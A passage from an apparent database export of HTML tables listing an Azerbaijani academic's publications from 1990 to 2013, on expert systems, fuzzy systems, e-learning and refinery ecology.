width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">The object-oriented approach for fuzzy query processing</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Salahli M.A., Muradkhanova L.G, Gardashova L.A</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Proceedings of the International Conference on Application of Fuzzy Systems, Tabriz, Iran</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1994</strong></p></td><td width=\"76\"><p style=\"background:undefined \">pp.270-272.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Интеллектуальная система прогнозирования экологических показателей нефтеперерабатывающего предприятия</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Материалы I Международнойнаучно-технической конференции «Современные проблемы экологии, методы и средства их решения», Баку, 1994 г.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1994</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Моделирование и прогнозирование социально-экономического развития производства</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Тезисы докладов VII научно-технической конференции молодых ученых и специалистов, Баку, 1992 г.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1992</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Прогнозирование социально-экономических процессов в регионе с учетом экологических факторов</p></td><td width=\"104\"><p style=\"background:undefined \">Journal articles</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Нуриев М. Н., Мурадханова Л.Г.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Тематический сборник научных трудов : Автоматизация процессов управления, Баку, АзИУ, 1991 г.</p><p style=\"background:undefined \">&nbsp;</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1991</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">База знаний экспертной системы прогнозирования социально-экономических процессов</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Нуриев М.Н., Мурадханова Л.</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Тезисы докладов II Всесоюзной научной конференции «Интеллектуализация систем управления», Баку, 1991</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1991</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Продукционная модель представления знаний в экспертной системе прогнозирования</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Тезисы докладов научно-технической конференции молодых ученых, Баку, 1991</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1991</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Учет экологических факторов в задачах прогнозирования социально-экономических процессов в нефтеперерабатывающей отрасли</p></td><td width=\"104\"><p style=\"background:undefined \">Article</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Нуриев М.Н., Мурадханова Л.</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Деп.АзНИИНТИ, №1606, Баку, 1990</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1990</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Применение методов искусственного интеллекта в прогнозировании социально-экономических процессов</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Тезисы докладов Республиканской научно-практической конференции молодых ученых и специалистов «Актуальные проблемы информатики и вычислительной техники», Баку, 1990</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1990</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p style=\"background:undefined \">Пронозирование социально-экономических процессов на базе экспертной системы</p></td><td width=\"104\"><p style=\"background:undefined \">Conference Proceedings</p></td><td width=\"123\"><p style=\"background:undefined \"><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p style=\"background:undefined \">Тезисы докладов XIII Республиканской научной конференции аспирантов вузов Азербайджана, Баку, 1990</p></td><td width=\"57\"><p style=\"background:undefined \"><strong>1990</strong></p></td><td width=\"76\"><p style=\"background:undefined \"><strong>&nbsp;</strong></p></td></tr></tbody></table></div><br></div>'),(1293,827,'en',' Leyla Muradkhanli',' Leyla Muradkhanli','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"638\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"125\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"104\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"76\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Azərbaycanda bərpa olunan enerji mənbələrindən istifadə perspektivləri</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Ekoloji problemlər və ekoloji təhsil Respublika Konfransı</p><p>&nbsp;</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p><p><strong>B. Atabeyli&nbsp;<br></strong></p></td><td width=\"123\"><p>Pedaqoji Universitet</p></td><td width=\"57\"><p><strong>23-24 Aprel, 2013.<br><br><br></strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Implementation of eLearning in Azerbaijan</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>The 6th International Conference on Application of Information and Communication Technologies</p><p>&nbsp;</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p><p><strong>B. Atabeyli&nbsp;<br></strong></p></td><td width=\"123\"><p>AICT 2012,&nbsp; Tbilisi, Georgia</p></td><td width=\"57\"><p><strong>17-19 October, 2012<br><br><br><br></strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The role of Information and Communication Technologies in Education</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>European Neighbourhood Policy and Eastern Partnership: Achievements, Obstacles and Perspectives</p><p>&nbsp;</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Jean Monnet International Scientific and Practical conference</p></td><td width=\"57\"><p><strong>5-7 May, 2011.<br><br><br><br></strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Blended Learning : The Integration of Traditional Learning and eLearning, Application of Information and Communication Technologies</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>AICT 2011 V International Conference, Baku, Azerbaijan<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>12-14 October, 2011</strong></p></td><td width=\"76\"><p><strong>&nbsp;pp.373-376.</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Azerbaijan-Turkey Energy Cooperation</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Conference on “Azerbaijan-Turkey Cooperation”, Baku.<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2009</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The Quality Assurance System at Khazar&nbsp; University</p><p>&nbsp;</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Conference&nbsp; on “Quality&nbsp; Assurance in Higher Education”, Baku.<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2009</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Instructional Design For E-Learning Courses</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Conference on “Information Communication Technologies of&nbsp; E-Learning”, Almaty, Kazakhstan.<br><br><strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2007</strong><strong>&nbsp;</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Economics and Sustainable Development&nbsp;<strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Symposium “Natural Cataclysms and Global Problems of the Modern Civilization”,</p><p>24-27 September, Baku<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2007</strong><strong>&nbsp;</strong></p></td><td width=\"76\"><p>pp.699-701.<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Oil refinery and environmental damage in Azerbaijan</p><p><strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Ninth Baku International Congress “Energy, Ecology, Economy”,</p><p>7-9 June, Baku<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2007</strong></p></td><td width=\"76\"><p>pp. 482-484.<strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Environmental Issues of the Caspian Sea<strong>&nbsp;</strong></p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>The 14th Annual Central Eurasian Studies Conference, Indiana University, Bloomington, USA.<strong>&nbsp;</strong></p></td><td width=\"57\"><p><strong>2007</strong></p></td><td width=\"76\"><p>pp.53-54.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Expert system for decision-making problem in economics</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>L.Muradkhanli</strong></p><p><strong>A. Alasgarova,</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p>International conference on “Knowledge-Dialogue-Solutions”, ITHEA, Sofia, Bolgaria.</p></td><td width=\"57\"><p><strong>2007</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Economists view of the environment</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>8<sup>th</sup>&nbsp; Baku International Congress “Energy, Ecology, Economy”, Baku.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2005</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>E- Education : Challenges and Opportunities</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Caspian International ICT Conference, 27-28 October, Baku</p></td><td width=\"57\"><p><strong>2005</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Creation of Distance Education System</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Conference “Distance Learning : Problems, and Perspectives of Development”, Almaty</p></td><td width=\"57\"><p><strong>2005</strong></p></td><td width=\"76\"><p><strong>pp.116-118<br><br></strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Business Applications of Neural Networks</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>International Conference on Application of Information-Communication Technologies in Science and Education, Baku</p></td><td width=\"57\"><p><strong>2004</strong></p></td><td width=\"76\"><p>pp.20-22.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Prospects of Development and Problems of Distance Education in Azerbaijan</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Journal of Azerbaijani Studies, Khazar University Press, Baku</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2003</strong></p></td><td width=\"76\"><p>vol.6, No.1-2. pp.3-13.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Business-To-Business E-Commerce</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanli</strong></p></td><td width=\"123\"><p>Journal of Azerbaijani Studies, Khazar University Press, Baku</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2002</strong></p></td><td width=\"76\"><p>vol.5, No.1-2. pp.3-15.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The Computer Monitoring System of emergencies at the plants of chemical, petrochemical and oil refining industry</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>sixth Baku International Congress “Energy, Ecology, Economy”, Baku, 2002.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2002</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Prospects of Development and Future of E-Commerce<br><br></p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>Journal of Azerbaijani Studies, Khazar University Press, Baku</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2001</strong></p></td><td width=\"76\"><p><strong>vol.4, No.3-4. pp.21-32.</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Manual on Introduction to Computer Science</p></td><td width=\"104\"><p>Book</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>L.Muradkhanova</strong></p><p><strong>E.Rzazadeh</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Second edition, Baku, Khazar University Press</p></td><td width=\"57\"><p><strong>2001</strong></p></td><td width=\"76\"><p><strong>pp.156.<br><br></strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Basic measures on the reconstruction of the oil refinery plant, which provide a condition for improving the ecological situation</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>I International&nbsp; Symposium on problems of education and safety of population and territory under the thread of extreme circumstances, November 20-22, Baku</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>2000</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Introduction to Computer Science</p><p>&nbsp;</p><p>&nbsp;</p></td><td width=\"104\"><p>Book</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p><p><strong>E.Rzazadeh</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Baku, Khazar&nbsp; University Press</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>pp.114</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Expert System for Business Applications</p></td><td width=\"104\"><p>&nbsp;</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>3rd International Conference on Interactive Systems :Man-Computer Interaction Problems, September 22-24, Ulyanovsk, Russia</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The Chaos appearance on the base of analysis of the time series</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p><p><strong>&nbsp;</strong></p><p><strong>Mamedova A.T.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Second International Symposium on mathematical and Computational applications, September 1-3, Baku</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>pp.3.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Decision Support System for Managerial Problems</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>Intelligent Control and Decision Making Systems, Thematic collected articles, Baku, Azerb.SOA</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>№ 3, pp.14-18.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Design of object-oriented data base</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>L.Muradkhanova</strong></p></td><td width=\"123\"><p>Intelligent Control and Decision Making Systems, Thematic collected articles, Baku, Azerb.SOA</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>№ 3, pp.48-52.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Анализ и контроль влияния нефтеперерабатывающих предприятий на окружающую среду</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>İnsanların həyat fəaliyyətinin təhlükəsizliyi problemləri və onun tədrisi üzrə mütəxəssislərin II respublika Elmi praktiki konfransı, Bakı, 1999, səh.177-178</p></td><td width=\"57\"><p><strong>1999</strong></p></td><td width=\"76\"><p>pp.177-178.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Suni İntellektin yaradılması üsulları fənnindən məşğələ dərsləri üçün metodik vəsait</p></td><td width=\"104\"><p>Methodological Guidelines</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>Muradxanova L.</strong></p></td><td width=\"123\"><p>Bakı, AzDNA</p></td><td width=\"57\"><p><strong>1998</strong></p></td><td width=\"76\"><p><strong>pp.48.</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Объектно-ориентированное представление данных и знаний</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Тематический сборник научных трудов : Интеллектуальные системы управления и принятия решений, Баку, АзГНА, 1998, №2, стр. 42-46</p></td><td width=\"57\"><p><strong>1998</strong></p></td><td width=\"76\"><p>№ 2, pp.42-46.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>İntellektual sistemlərin proqram vasitələri və dilləri. Laboratoriya işləri</p></td><td width=\"104\"><p>Methodological Guidelines</p></td><td width=\"123\"><p><strong>Muradxanova L.</strong></p></td><td width=\"123\"><p>Bakı, AzDNA</p></td><td width=\"57\"><p><strong>1997</strong></p></td><td width=\"76\"><p>pp.32.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Интеллектуальная система для диагностирования и управления технологическими процессами</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p>&nbsp;</p><p>Тематический сборник научных трудов : Интеллектуальные системы управления и принятия решений, Баку, АзГНА, 1997, №1, стр. 139-142</p></td><td width=\"57\"><p><strong>1997</strong></p></td><td width=\"76\"><p>№ 1, pp.139-142.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>База знаний динамической экспертной системы для диагностирования и управления технологическими процессами</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Сборник научных трудов : Ученые Записки, АзГНА, Баку, 1996, № 4, стр. 191-196</p></td><td width=\"57\"><p><strong>1996</strong></p></td><td width=\"76\"><p>№ 4, pp.191-196.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Application of fuzzy object models for plant control and diagnostic Expert Systems</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Nuriev M.N., Muradkhanova L.G, Sultanova A.B.</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Proceedings of ICAFS’96, Second International Conference on Application of Fuzzy Systems and Soft Computing, Siegen, Germany</p></td><td width=\"57\"><p><strong>1996</strong></p></td><td width=\"76\"><p>pp.6-11.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Система принятия плановых решений</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>Мурадханова Л.Г., Гардашова Л,А,</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Сборник научных трудов : Ученые Записки, АзГНА, Баку, 1995, № 4, стр. 192-196</p></td><td width=\"57\"><p><strong>1995</strong></p></td><td width=\"76\"><p>№ 4, pp.192-196.</p><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>The object-oriented approach for fuzzy query processing</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Salahli M.A., Muradkhanova L.G, Gardashova L.A</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Proceedings of the International Conference on Application of Fuzzy Systems, Tabriz, Iran</p></td><td width=\"57\"><p><strong>1994</strong></p></td><td width=\"76\"><p>pp.270-272.</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Интеллектуальная система прогнозирования экологических показателей нефтеперерабатывающего предприятия</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>&nbsp;</strong></p><p><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p>Материалы I Международной научно-технической конференции «Современные проблемы экологии, методы и средства их решения», Баку, 1994 г.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>1994</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Моделирование и прогнозирование социально-экономического развития производства</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Тезисы докладов VII научно-технической конференции молодых ученых и специалистов, Баку, 1992 г.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>1992</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Прогнозирование социально-экономических процессов в регионе с учетом экологических факторов</p></td><td width=\"104\"><p>Journal articles</p></td><td width=\"123\"><p><strong>Нуриев М. Н., Мурадханова Л.Г.&nbsp;&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"123\"><p>Тематический сборник научных трудов : Автоматизация процессов управления, Баку, АзИУ, 1991 г.</p><p>&nbsp;</p></td><td width=\"57\"><p><strong>1991</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>База знаний экспертной системы прогнозирования социально-экономических процессов</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Нуриев М.Н., Мурадханова Л.</strong></p></td><td width=\"123\"><p>Тезисы докладов II Всесоюзной научной конференции «Интеллектуализация систем управления», Баку, 1991</p></td><td width=\"57\"><p><strong>1991</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Продукционная модель представления знаний в экспертной системе прогнозирования</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p>Тезисы докладов научно-технической конференции молодых ученых, Баку, 1991</p></td><td width=\"57\"><p><strong>1991</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Учет экологических факторов в задачах прогнозирования социально-экономических процессов в нефтеперерабатывающей отрасли</p></td><td width=\"104\"><p>Article</p></td><td width=\"123\"><p><strong>Нуриев М.Н., Мурадханова Л.</strong></p></td><td width=\"123\"><p>Деп.АзНИИНТИ, №1606, Баку, 1990</p></td><td width=\"57\"><p><strong>1990</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Применение методов искусственного интеллекта в прогнозировании социально-экономических процессов</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong></p></td><td width=\"123\"><p>Тезисы докладов Республиканской научно-практической конференции молодых ученых и специалистов «Актуальные проблемы информатики и вычислительной техники», Баку, 1990</p></td><td width=\"57\"><p><strong>1990</strong></p></td><td width=\"76\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"125\"><p>Пронозирование социально-экономических процессов на базе экспертной системы</p></td><td width=\"104\"><p>Conference Proceedings</p></td><td width=\"123\"><p><strong>Мурадханова Л.</strong></p></td><td 